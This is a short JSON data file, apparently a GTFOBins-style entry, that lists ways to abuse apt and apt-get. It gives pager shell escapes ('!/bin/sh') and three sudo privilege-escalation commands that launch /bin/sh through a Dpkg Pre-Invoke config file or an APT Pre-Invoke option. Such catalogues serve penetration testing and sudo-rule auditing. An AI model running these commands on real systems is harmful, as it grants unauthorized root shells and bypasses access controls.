{
  "functions": {
    "shell": [
      {
        "description": "This invokes the default pager, which is likely to be 'less', other functions may apply.",
        "code": "apt-get changelog apt\n!/bin/sh\n"
      }
    ],
    "sudo": [
      {
        "description": "This invokes the default pager, which is likely to be 'less', other functions may apply.",
        "code": "sudo apt-get changelog apt\n!/bin/sh\n"
      },
      {
        "description": "For this to work the target package (e.g., 'sl') must not be installed.",
        "code": "TF=$(mktemp)\necho 'Dpkg::Pre-Invoke {\"/bin/sh;false\"}' > $TF\nsudo apt install -c $TF sl\n"
      },
      {
        "description": "When the shell exits the 'update' command is actually executed.",
        "code": "sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh"
      }
    ]
  }
}